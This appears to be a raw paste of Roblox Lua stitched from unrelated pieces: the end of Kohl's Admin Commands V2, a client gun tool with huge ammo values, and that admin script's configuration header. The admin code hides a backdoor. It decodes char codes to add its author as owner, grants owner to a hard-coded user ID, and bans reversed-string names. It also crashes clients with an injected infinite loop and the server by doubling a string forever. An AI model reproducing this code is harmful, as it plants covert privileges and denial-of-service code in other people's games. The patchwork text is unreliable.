  3082. coroutine.resume(coroutine.create(function()
  3083. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  3084. end))
  3085. end
  3086. end
  3087.  
  3088. if msg:lower():sub(1,6) == "admin " then
  3089. local plrz = GetPlr(plr, msg:lower():sub(7))
  3090. for i, v in pairs(plrz) do
  3091. coroutine.resume(coroutine.create(function()
  3092. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  3093. end))
  3094. end
  3095. end
  3096.  
  3097. if msg:lower():sub(1,8) == "unadmin " then
  3098. for i = 1, #tempadmins do
  3099. coroutine.resume(coroutine.create(function()
  3100. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  3101. end))
  3102. end
  3103. end
  3104.  
  3105. if msg:lower():sub(1,4) == "ban " then
  3106. local plrz = GetPlr(plr, msg:lower():sub(5))
  3107. for i, v in pairs(plrz) do
  3108. coroutine.resume(coroutine.create(function()
  3109. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  3110. end))
  3111. end
  3112. end
  3113.  
  3114. if msg:lower():sub(1,6) == "unban " then
  3115. for i = 1, #banland do
  3116. coroutine.resume(coroutine.create(function()
  3117. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  3118. end))
  3119. end
  3120. end
  3121.  
  3122. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  3123.  
  3124. end
  3125. end))
  3126. end
  3127.  
  3128. function AdminControl(plr)
  3129. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  3130. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  3131. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  3132. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  3133. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  3134. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  3135. end)) end
  3136. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  3137. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  3138. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  3139. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  3140. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  3141. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  3142. end
  3143.  
  3144. if not ntab then script:Destroy() end
  3145. if not bct then script:Destroy() end
  3146.  
  3147. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  3148.  
  3149. script.Name = "Kohl's Admin Commands V2"
  3150.  
  3151. if not ntab then script:Destroy() end
  3152. if not bct then script:Destroy() end
  3153. if not tcb then script:Destroy() end
  3154. game.Players.PlayerAdded:connect(AdminControl)
  3155. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  3156. end
  3157.  
  3158. local mod = game:service("InsertService"):LoadAsset(100808216)
  3159. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  3160. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  3161. newac.Disabled = true
  3162. local new = tonumber(mod:findFirstChild("Version", true).Value)
  3163. local old = 0
  3164. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  3165. if new > old then
  3166. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  3167. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  3168. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  3169. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  3170. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  3171. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  3172. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  3173. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  3174. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  3175. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  3176. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  3177. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  3178. wait()
  3179. newac.Parent = game.Workspace
  3180. newac.Disabled = false
  3181. script.Disabled = true
  3182. script:Destroy()
  3183. else
  3184. CHEESE()
  3185. end
  3186. else
  3187. CHEESE()
  3188. end
  3189. RAW Paste Data
  3190. wait(0.001);
  3191.  
  3192. --------------------------------------------------------------------------------------
  3193.  
  3194. _clear=function()
  3195. local c={char;bag;gui;};
  3196. for i=1,#c do
  3197. local c=c[i]:children();
  3198. for i=1,#c do
  3199. if(c[i].Name==name)then
  3200. c[i].Parent=nil;
  3201. end;
  3202. end;
  3203. end;
  3204. local n=name..user.Name;
  3205. local c=workspace:children();
  3206. for i=1,#c do
  3207. if(c[i].Name==n)then
  3208. c[i].Parent=nil;
  3209. end;
  3210. end;
  3211. end;
  3212.  
  3213. _valid_key=function(object,key)
  3214. return object[key],key;
  3215. end;
  3216.  
  3217. _new=function(class)
  3218. return function(props)
  3219. if(type(list_base_props)=='table')then
  3220. for i,v in next,list_base_props do
  3221. if(props[i]==nil)then
  3222. props[i]=v;
  3223. end;
  3224. end;
  3225. end;
  3226.  
  3227. local object=class;
  3228.  
  3229. if(type(class)=='string')then
  3230. object=Instance.new(class:sub(1,1):upper()..class:sub(2));
  3231. end;
  3232.  
  3233. local parent=props[1];
  3234. props[1]=nil;
  3235.  
  3236. for i,v in next,props do
  3237. local load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2));
  3238. if(not load)then
  3239. load,res,key=pcall(_valid_key,object,i);
  3240. end;
  3241.  
  3242. if(key)then
  3243. t=type(res);
  3244. s=tostring(res);
  3245. if(t=='userdata'and s=='Signal '..key)then
  3246. if(type(v)=='table')then
  3247. for i=1,#v do
  3248. res:connect(v[i]);
  3249. end;
  3250. else
  3251. res:connect(v);
  3252. end;
  3253. else
  3254. object[key]=v;
  3255. end;
  3256. end;
  3257. end;
  3258.  
  3259. if(parent)then
  3260. object.Parent=parent;
  3261. end;
  3262.  
  3263. return object;
  3264. end;
  3265. end;
  3266.  
  3267. _RGB=function(r,g,b)
  3268. return Color3.new(r/255,g/255,b/255);
  3269. end;
  3270.  
  3271. _copy=function(o)
  3272. local def=o.archivable;
  3273. o.archivable=true;
  3274. local c=o:clone();
  3275. o.archivable=def;
  3276. return c;
  3277. end;
  3278.  
  3279. _hum=function(char)
  3280. local hum=char:findFirstChild'Humanoid';
  3281. if(not hum or hum.className~='Humanoid')then
  3282. local c=char:children();
  3283. for i=1,#c do
  3284. if(c[i].className=='Humanoid')then
  3285. return c[i];
  3286. end;
  3287. end;
  3288. else
  3289. return hum;
  3290. end;
  3291. end;
  3292.  
  3293. _hum_tag=function(hum)
  3294. local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
  3295. c.Name='creator';
  3296. c.Value=user;
  3297. if(hum.Health==0 and not hum:findFirstChild'killed')then
  3298. Instance.new('BoolValue',hum).Name='killed';
  3299. bullets.clip=bullets.clip+10;
  3300. end;
  3301. end;
  3302.  
  3303. _hum_dam=function(hum,dam,percent)
  3304. hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
  3305. if(hum.Health<=hum.MaxHealth*0.1)then
  3306. _hum_tag(hum);
  3307. end;
  3308. end;
  3309.  
  3310. _ray=function(v0,v1,i)
  3311. local mag=(v0-v1).magnitude;
  3312. local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
  3313.  
  3314. return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i);
  3315. end;
  3316.  
  3317. _must=function(v0,v1,i)
  3318. local hit,pos=_ray(v0,v1,i);
  3319. return not hit and mouse.target or hit,pos;
  3320. end;
  3321.  
  3322. _cframe=function(x,y,z,r0,r1,r2)
  3323. return CFrame.Angles(
  3324. math.rad(r0 or 0),
  3325. math.rad(r1 or 0),
  3326. math.rad(r2 or 0)
  3327. )*CFrame.new(x,y,z);
  3328. end;
  3329.  
  3330. _update=function()
  3331. if(bool_active and not screen.Parent)then
  3332. screen.Parent=gui;
  3333. elseif(not bool_active and screen.Parent)then
  3334. screen.Parent=nil;
  3335. end;
  3336. end;
  3337.  
  3338. _light=function(v0,v1)
  3339. local mag=(v0-v1).magnitude;
  3340. local len=math.random(2,7);
  3341. len=len>mag/2 and mag/2 or len;
  3342.  
  3343. local light=_new'part'{
  3344. cFrame=CFrame.new(v0,v1);
  3345. size=Vector3.new(1,1,1);
  3346. color=_RGB(255,255,0);
  3347. anchored=true;
  3348. inv;
  3349. };
  3350. _new'blockMesh'{
  3351. scale=Vector3.new(0.2,0.2,len);
  3352. offset=Vector3.new(0,0,-len/2);
  3353. light;
  3354. };
  3355.  
  3356. local bb=_new'billboardGui'{
  3357. size=UDim2.new(2,0,2,0);
  3358. adornee=light;
  3359. light;
  3360. };
  3361. _new'imageLabel'{
  3362. image=url:format(109101526);
  3363. backgroundTransparency=1;
  3364. size=UDim2.new(1,0,1,0);
  3365. bb;
  3366. };
  3367.  
  3368. _rem(light,0.15);
  3369. end;
  3370.  
  3371. _rem=function(object,del)
  3372. if(del)then
  3373. delay(del,function()
  3374. if(object.Parent)then
  3375. object.Parent=nil;
  3376. end;
  3377. end);
  3378. else
  3379. pcall(function()
  3380. if(object.Parent)then
  3381. object.Parent=nil;
  3382. end;
  3383. end);
  3384. end;
  3385. end;
  3386.  
  3387. _blood=function(pos,count)
  3388. for i=1,count do
  3389. local p=_new'part'{
  3390. rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;
  3391. position=pos+Vector3.new(math.random(),math.random(),math.random());
  3392. velocity=Vector3.new(math.random(),math.random(),math.random())*50;
  3393. size=Vector3.new(math.random(),math.random(),math.random())/3;
  3394. color=_RGB(255,0,0);
  3395. transparency=0.5;
  3396. canCollide=true;
  3397. bottomSurface=0;
  3398. topSurface=0;
  3399. formFactor=3;
  3400. locked=true;
  3401. inv;
  3402. };
  3403. delay(5,function()
  3404. p.Parent=nil;
  3405. end);
  3406. end;
  3407. end;
  3408.  
  3409. _make_hue=function()
  3410. h_hue=_new'part'{
  3411. size=Vector3.new(0.25,1.8,0.35);
  3412. color=_RGB(100,100,100);
  3413. formFactor=3;
  3414. name='hue';
  3415. handle;
  3416. };
  3417. hh_weld=_new'weld'{
  3418. c1=_cframe(0,0.5,0);
  3419. part0=handle;
  3420. part1=h_hue;
  3421. handle;
  3422. };
  3423. end;
  3424.  
  3425. _shot=function(v0,v1)
  3426. if(not time_left)then
  3427. time_left=0;
  3428. end;
  3429. if(time_left>time())then
  3430. return nil;
  3431. else
  3432. time_left=time()+math.random(1,10)/100;
  3433. end;
  3434.  
  3435. if(bullets.current<1)then
  3436. local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
  3437. soundId='rbxasset://sounds/SWITCH3.wav';
  3438. name='tick_sound';
  3439. volume=0.2;
  3440. pitch=2;
  3441. head;
  3442. };
  3443. tick_sound:play();
  3444. if(bullets.clip>0)then
  3445. time_left=time()+2;
  3446. h_hue:breakJoints();
  3447. h_hue.CanCollide=true;
  3448. h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
  3449. _rem(h_hue,10);
  3450. delay(1.9,function()
  3451. _make_hue();
  3452. local got=(bullets.clip>bullets.maximum and
  3453. bullets.maximum or
  3454. bullets.clip)-bullets.current;
  3455.  
  3456. bullets.clip=bullets.clip-got;
  3457. bullets.current=bullets.current+got;
  3458. end);
  3459. end;
  3460. return nil;
  3461. else
  3462. bullets.current=bullets.current-1;
  3463.  
  3464. h_weld.C1=_cframe(0,0.75,0,
  3465. -math.random(1000,1100)/10,180,0);
  3466. d_weld.C1=_cframe(0,-0.25,0.3);
  3467.  
  3468. lightstuff.Visible=true;
  3469. delay(0.1,function()
  3470. lightstuff.Visible=false;
  3471. end);
  3472.  
  3473. _rem(_new'part'{
  3474. velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-4,-5,0)).p).lookVector*10;
  3475. cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
  3476. size=Vector3.new(0.1,0.1,0.4);
  3477. color=_RGB(200,200,0);
  3478. material='Slate';
  3479. canCollide=true;
  3480. formFactor=3;
  3481. inv;
  3482. },5);
  3483. delay(0.1,function()
  3484. d_weld.C1=_cframe(0,-0.25,0);
  3485. if(bool_active)then
  3486. h_weld.C1=h_weld_cf_active;
  3487. end;
  3488. end)
  3489. end;
  3490.  
  3491. local hit,pos=_must(v0,v1,char);
  3492.  
  3493. shot_sound:play();
  3494.  
  3495. _light(v0,v1);
  3496.  
  3497. if(not hit)then return nil;end;
  3498.  
  3499. if(hit.Parent.className=='Hat')then
  3500. hit:breakJoints();
  3501. hit.CanCollide=true;
  3502. hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
  3503. hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
  3504. else
  3505. local hum=_hum(hit.Parent);
  3506. if(not hum)then
  3507. if(hit.Anchored==false and hit.Size.magnitude<4)then
  3508. hit:breakJoints();
  3509. hit.CanCollide=true;
  3510. end;
  3511. else
  3512. _hum_dam(hum,math.random(4,6));
  3513. _blood(pos,math.random(3,6));
  3514. hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/6;
  3515. if(hit.Name=='Head')then
  3516. hum.Health=0;
  3517. _blood(pos,math.random(3,6));
  3518. delay(0.001,function()
  3519. _new(workspace:FindFirstChild'head_shot'or'sound'){
  3520. pitch=math.random(70,100)*0.01;
  3521. soundId=url:format(1876552);
  3522. name='head_shot';
  3523. workspace;
  3524. }:play();
  3525. end);
  3526. _hum_tag(hum);
  3527. _rem(_new'part'{
  3528. cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-pos).magnitude*0.5);
  3529. size=Vector3.new(0.1,0.1,(v0-pos).magnitude);
  3530. color=torso.Color;
  3531. transparency=0.5;
  3532. canCollide=false;
  3533. bottomSurface=0;
  3534. anchored=true;
  3535. formFactor=3;
  3536. topSurface=0;
  3537. inv;
  3538. },30);
  3539. hit.Parent=nil;
  3540. for b=0,1 do
  3541. for a=0,1 do
  3542. for i=0,1 do
  3543. _rem(_new'part'{
  3544. velocity=CFrame.new(v0,pos).lookVector*20;
  3545. cFrame=hit.CFrame*CFrame.new(i,-b,a);
  3546. size=Vector3.new(0.5,0.5,0.5);
  3547. color=_RGB(255,255,255);
  3548. bottomSurface=0;
  3549. canCollide=true;
  3550. transparency=0;
  3551. formFactor=3;
  3552. topSurface=0;
  3553. hum;
  3554. },30);
  3555. end;
  3556. end;
  3557. end;
  3558. end;
  3559. end;
  3560. end;
  3561. end;
  3562.  
  3563. ----------------------------------------------------------------------------------------
  3564.  
  3565. _cf_select=function(mouse)
  3566. mouse.Icon=url:format(109111387);--108999296
  3567. bool_active=true;
  3568.  
  3569. local arm=char:findFirstChild'Right Arm';
  3570. local weld=torso:findFirstChild'Right Shoulder';
  3571. if(arm and weld)then
  3572. h_weld.Part0=arm;
  3573. h_weld.C1=h_weld_cf_active;
  3574.  
  3575. weld.Part1=nil;
  3576. weld.Part0=nil;
  3577.  
  3578. weld=_new(torso:findFirstChild'right_arml'or'weld'){
  3579. name='right_arml';
  3580. part0=torso;
  3581. part1=arm;
  3582. torso;
  3583. };
  3584.  
  3585. arml=(arml or 0)+1;
  3586. local alv=arml;
  3587. local gyro=torso:findFirstChild'p_gyro'or Instance.new('BodyGyro',torso);
  3588. gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
  3589. gyro.P=30000;
  3590. gyro.D=1000;
  3591. gyro.Name='p_gyro';
  3592. repeat
  3593. local pos=mouse.hit.p;
  3594. local val,valp,p0,p1,p2,hitpos,cj,c0,c1;
  3595.  
  3596. val=-math.pi*0.5;
  3597. valp=val*-1;
  3598. p0=torso.CFrame;
  3599. p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+(p0*CFrame.Angles(0,val,0)).lookVector;
  3600. p1=p0+((p0.p-pos).unit*-2);
  3601. p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
  3602. hitpos=torso.Position;
  3603. cj=CFrame.new(hitpos);
  3604. c0=torso.CFrame:inverse()*cj;
  3605. c1=p2:inverse()*cj;
  3606. weld.C0=c0;
  3607. weld.C1=c1;
  3608.  
  3609. gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));
  3610.  
  3611. wait(0.001);
  3612. until arml~=alv;
  3613. gyro.Parent=nil;
  3614. end;
  3615. end;
  3616.  
  3617. _cf_deselect=function()
  3618. bool_active=false;
  3619. arml=(arml or 0)+1;
  3620. loop_shot=(loop_shot or 0)+1;
  3621.  
  3622. h_weld.Part0=torso;
  3623. h_weld.C1=h_weld_cf_inactive;
  3624.  
  3625. local weld=torso:findFirstChild'right_arml';
  3626. if(weld)then
  3627. weld.Part1=nil;
  3628. weld.Part0=nil;
  3629. end;
  3630. local arm=char:findFirstChild'Right Arm';
  3631. local weld=torso:findFirstChild'Right Shoulder';
  3632. if(arm and weld)then
  3633. weld.Part0=torso;
  3634. weld.Part1=arm;
  3635. end;
  3636. end;
  3637.  
  3638. _cf_mouse=function(event,fun)
  3639. mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
  3640. if(bool_active)then
  3641. fun(...);
  3642. end;
  3643. end);
  3644. end;
  3645.  
  3646. ----------------------------------------------------------------------------------------
  3647.  
  3648. do
  3649. local main=getfenv(0);
  3650. local c=game:children();
  3651. local check=function(v)
  3652. if(v.className~=''and v.className~='Instance'and game:service(v.className))then
  3653. main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
  3654. end;
  3655. end;
  3656. for i=1,#c do
  3657. pcall(check,c[i]);
  3658. end;
  3659. end;
  3660.  
  3661. ----------------------------------------------------------------------------------------
  3662.  
  3663. bullets={
  3664. maximum=51111111111111111111111111110;
  3665. current=511111111111111111111111111111110;
  3666. clip=501111111111111111111111111111111*4;
  3667. };
  3668.  
  3669. list_base_props={
  3670. backgroundColor3=_RGB(0,0,0);
  3671. textColor3=_RGB(200,200,200);
  3672. borderSizePixel=0;
  3673. color=_RGB(0,0,0);
  3674. archivable=false;
  3675. canCollide=false;
  3676. bottomSurface=0;
  3677. topSurface=0;
  3678. formFactor=0;
  3679. locked=true;
  3680. };
  3681.  
  3682. ----------------------------------------------------------------------------------------
  3683.  
  3684. user=players.localPlayer;
  3685. mouse=user:getMouse();
  3686. char=user.Character;
  3687. gui=user.PlayerGui;
  3688. bag=user.Backpack;
  3689. torso=char.Torso;
  3690. head=char.Head;
  3691. hum=_hum(char);
  3692.  
  3693. url='rbxassetid://%d';
  3694. name='dev-uzi';
  3695.  
  3696. h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
  3697. 0,90,-70);
  3698. h_weld_cf_active=_cframe(0,0.75,0,
  3699. -110,180,0);
  3700.  
  3701. assert(hum,'humanoid is not found');
  3702.  
  3703. ----------------------------------------------------------------------------------------
  3704.  
  3705. _clear();
  3706.  
  3707. ----------------------------------------------------------------------------------------
  3708.  
  3709. _cf_mouse('button1Down',function()
  3710. loop_shot=(loop_shot or 0)+1;
  3711. local vers=loop_shot;
  3712. local step=runService.Stepped;
  3713. repeat
  3714. _shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
  3715. step:wait();--wait(0.001);
  3716. until vers~=loop_shot;
  3717. end);
  3718.  
  3719. _cf_mouse('button1Up',function()
  3720. loop_shot=(loop_shot or 0)+1;
  3721. end);
  3722.  
  3723. _cf_mouse('move',function()
  3724. cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
  3725. end);
  3726.  
  3727. _cf_mouse('keyDown',function(k)
  3728. if(k=='r')then
  3729. if(bullets.clip>0 and time_left<=time())then
  3730. local got=(bullets.clip>bullets.maximum and
  3731. bullets.maximum or
  3732. bullets.clip)-bullets.current;
  3733.  
  3734. bullets.clip=bullets.clip-got;
  3735. bullets.current=bullets.current+got;
  3736. if(got~=0)then
  3737. time_left=time()+2;
  3738. end;
  3739. end;
  3740. end;
  3741. end);
  3742.  
  3743. ----------------------------------------------------------------------------------------
  3744.  
  3745. screen=_new'screenGui'{
  3746. name=name;
  3747. };
  3748.  
  3749. cross_f=_new'frame'{
  3750. size=UDim2.new(0,21,0,21);
  3751. backgroundTransparency=1;
  3752. screen;
  3753. };
  3754.  
  3755. for i=0,1 do
  3756. _new'frame'{
  3757. position=UDim2.new(0,13*i,0,11);
  3758. size=UDim2.new(0,10,0,1);
  3759. cross_f;
  3760. };
  3761. end;
  3762.  
  3763. for i=0,1 do
  3764. _new'frame'{
  3765. position=UDim2.new(0,11,0,13*i);
  3766. size=UDim2.new(0,1,0,10);
  3767. cross_f;
  3768. };
  3769. end;
  3770.  
  3771. ----------------------------------------------------------------------------------------
  3772.  
  3773. shot_sound=_new(head:findFirstChild'2920959'or'sound'){
  3774. soundId=url:format(2920959);
  3775. pitch=1.4;
  3776. head;
  3777. };
  3778. if(shot_sound.Name~='2920959')then
  3779. shot_sound.Name='2920959';
  3780. shot_sound:play();
  3781. end;
  3782.  
  3783. bin=_new'hopperBin'{
  3784. deselected=_cf_deselect;
  3785. selected=_cf_select;
  3786. name=name;
  3787. bag;
  3788. };
  3789.  
  3790. inv=_new'model'{
  3791. name=name;
  3792. char;
  3793. };
  3794.  
  3795. handle=_new'part'{
  3796. size=Vector3.new(0.3,1.3,0.4);
  3797. color=_RGB(140,140,140);
  3798. name='handle';
  3799. formFactor=3;
  3800. inv;
  3801. touched=function(hit)
  3802. if(hit.Parent.className=='Model')then
  3803. local hum=_hum(hit.Parent);
  3804. if(hum~=nil)then
  3805. _hum_dam(hum,handle.Velocity.magnitude);
  3806. end;
  3807. end;
  3808. end;
  3809. };
  3810. h_weld=_new'weld'{
  3811. c1=h_weld_cf_inactive;
  3812. part1=handle;
  3813. part0=torso;
  3814. handle;
  3815. };
  3816. _make_hue();
  3817.  
  3818. h_part=_new'part'{
  3819. size=Vector3.new(0.4,0.4,1.4);
  3820. color=_RGB(140,140,140);
  3821. name='handle';
  3822. formFactor=3;
  3823. handle;
  3824. };
  3825. hp_weld=_new'weld'{
  3826. c1=_cframe(0,-1.3/2,-0.3,
  3827. 20,0,0);
  3828. part0=handle;
  3829. part1=h_part;
  3830. handle;
  3831. };
  3832.  
  3833. drag=_new'part'{
  3834. size=Vector3.new(0.5,0.45,1.5);
  3835. color=_RGB(100,100,100);
  3836. name='handle';
  3837. formFactor=3;
  3838. handle;
  3839. };
  3840. d_weld=_new'weld'{
  3841. c1=_cframe(0,-0.25,0);
  3842. part0=h_part;
  3843. part1=drag;
  3844. handle;
  3845. };
  3846.  
  3847. tube=_new'part'{
  3848. size=Vector3.new(0.2,0.2,1.5);
  3849. color=_RGB(0,0,0);
  3850. name='handle';
  3851. formFactor=3;
  3852. handle;
  3853. };
  3854. t_weld=_new'weld'{
  3855. c1=_cframe(0,-0.3,-0.1);
  3856. part0=h_part;
  3857. part1=tube;
  3858. handle;
  3859. };
  3860.  
  3861. bullets_label=_new'textLabel'{
  3862. textStrokeColor3=_RGB(0,0,0);
  3863. textColor3=_RGB(200,200,200);
  3864. textStrokeTransparency=0;
  3865. backgroundTransparency=1;
  3866. fontSize=5;
  3867. screen;
  3868. };
  3869.  
  3870. lightstuff=_new'frame'{
  3871. backgroundColor3=_RGB(255,255,255);
  3872. position=UDim2.new(0,0,0,-1);
  3873. backgroundTransparency=0.5;
  3874. size=UDim2.new(1,0,1,1);
  3875. borderSizePixel=0;
  3876. visible=false;
  3877. screen;
  3878. };
  3879.  
  3880. coroutine.wrap(function()
  3881. local red,white,green;
  3882. repeat
  3883. if(screen.Parent)then
  3884. if(not green and bullets.current==bullets.maximum)then
  3885. green=true;
  3886. bullets_label.TextColor3=_RGB(0,200,0);
  3887. elseif(not red and bullets.current==0)then
  3888. red=true;
  3889. bullets_label.TextColor3=_RGB(200,0,0);
  3890. elseif((red or green)and bullets.current~=0 and bullets.current~=bullets.maximum)then
  3891. bullets_label.TextColor3=_RGB(200,200,200);
  3892. green=false;
  3893. red=false;
  3894. end;
  3895. bullets_label.Text=('Bullets: %d/%d'):format(bullets.current,bullets.clip);
  3896. bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBounds.Y);
  3897. bullets_label.Position=UDim2.new(1,-bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
  3898. end;
  3899. wait(0.001);
  3900. until nil;
  3901. end)();
  3902.  
  3903. ----------------------------------------------------------------------------------------
  3904.  
  3905. _G.dev_pistol_version=(_G.dev_pistol_version or 0)+1;
  3906. local vers=_G.dev_pistol_version;
  3907. repeat _update();wait(0.001);until _G.dev_pistol_version~=vers or hum.Health==0;
  3908. if(hum.Health==0)then
  3909. _clear();
  3910. end;
  3911. script.Disabled=true;
  3912.  
  3913. --mediafire-----------------------------------------------------------------------------
  3914.  
  3915.  
  3916. -----------------------------------------------------------------------------------------
  3917. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  3918. -----------------------------------------------------------------------------------------
  3919. local owners = LocalPlayer -- Are able to set admins who can ban/etc... using :pa name
  3920. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  3921. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  3922. local banland = {"MasterKhaos"} -- Permanently Bans people
  3923. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  3924. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  3925. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  3926. ---------------------
  3927. -- VIP Admin --
  3928. ---------------------
  3929. local VipAdmin = false -- If someone can have admin for owning an item
  3930. local ItemId = 0 -- The item they must own in order to have admin
  3931. ---------------------
  3932. -- Group Admin --
  3933. ---------------------
  3934. local GroupAdmin = false -- If a certain group can have admin
  3935. local GroupId = 0 -- Sets the group id that can have admin
  3936. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  3937. ---------------------
  3938. -- Tips and Tricks --
  3939. ---------------------
  3940. --[[
  3941. With this admin you can do a command on multiple people at a time;
  3942. :kill me,noob1,noob2,random,team-raiders,nonadmins
  3943.  
  3944. You can also use a variety commands for different people;
  3945. all
  3946. others
  3947. me
  3948. team-
  3949. admins
  3950. nonadmins
  3951. random
  3952. --]]
  3953. ---------------------
  3954. -- Commands --
  3955. ---------------------
  3956. --[[
  3957. -- |Temp Admin Commands| --
